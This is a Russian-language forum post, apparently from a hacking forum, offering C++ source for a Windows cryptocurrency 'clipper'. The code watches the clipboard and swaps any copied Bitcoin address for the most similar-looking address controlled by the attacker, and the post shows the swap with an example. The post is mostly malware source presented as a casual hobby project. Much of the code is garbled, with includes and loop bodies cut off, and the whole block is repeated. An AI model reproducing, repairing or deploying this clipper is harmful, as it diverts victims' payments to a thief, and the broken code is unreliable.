Всем кукусики, сижу я значит вечерком с пивасом и мне стало скучно, так что написал клиппер.
если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard
C++:
Скопировать в буфер обмена
#define NOMINMAX
#include
#include
#include
#include
#include
#include
#include
std::string globbuff = "";
int levenshteinDistance(const std::string& s1, const std::string& s2) {
const int len1 = s1.size();
const int len2 = s2.size();
std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));
for (int i = 0; i (GlobalLock(hg));
memcpy(globalLock, s.c_str(), s.size());
GlobalUnlock(hg);
if (!SetClipboardData(CF_TEXT, hg)) {
CloseClipboard();
return false;
}
CloseClipboard();
return true;
}
void CheckBit(std::string& text) {
// Регулярное выражение для поиска биткоин-адресов
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
std::smatch matches;
size_t lastPos = 0;
while (true) {
std::string tempText = text.substr(lastPos);
if (!std::regex_search(tempText, matches, bitcoinRegex)) {
break;
}
std::string k = matches[0].str();
std::vector texts = {
"1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
};
int minDistance = std::numeric_limits::max();
std::string closestText;
for (const std::string& t : texts) {
int distance = levenshteinDistance(k, t);
if (distance (GlobalLock(hData));
if (pszText != NULL) {
std::string clipboardText = pszText;
GlobalUnlock(hData);
if (clipboardText != globbuff)
CheckBit(clipboardText);
}
}
CloseClipboard();
}
Sleep(500); // Пауза в полсекунды
}
return 0;
}
если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard
C++:
Скопировать в буфер обмена
#define NOMINMAX
#include
#include
#include
#include
#include
#include
#include
std::string globbuff = "";
int levenshteinDistance(const std::string& s1, const std::string& s2) {
const int len1 = s1.size();
const int len2 = s2.size();
std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));
for (int i = 0; i (GlobalLock(hg));
memcpy(globalLock, s.c_str(), s.size());
GlobalUnlock(hg);
if (!SetClipboardData(CF_TEXT, hg)) {
CloseClipboard();
return false;
}
CloseClipboard();
return true;
}
void CheckBit(std::string& text) {
// Регулярное выражение для поиска биткоин-адресов
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
std::smatch matches;
size_t lastPos = 0;
while (true) {
std::string tempText = text.substr(lastPos);
if (!std::regex_search(tempText, matches, bitcoinRegex)) {
break;
}
std::string k = matches[0].str();
std::vector texts = {
"1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
};
int minDistance = std::numeric_limits::max();
std::string closestText;
for (const std::string& t : texts) {
int distance = levenshteinDistance(k, t);
if (distance (GlobalLock(hData));
if (pszText != NULL) {
std::string clipboardText = pszText;
GlobalUnlock(hData);
if (clipboardText != globbuff)
CheckBit(clipboardText);
}
}
CloseClipboard();
}
Sleep(500); // Пауза в полсекунды
}
return 0;
}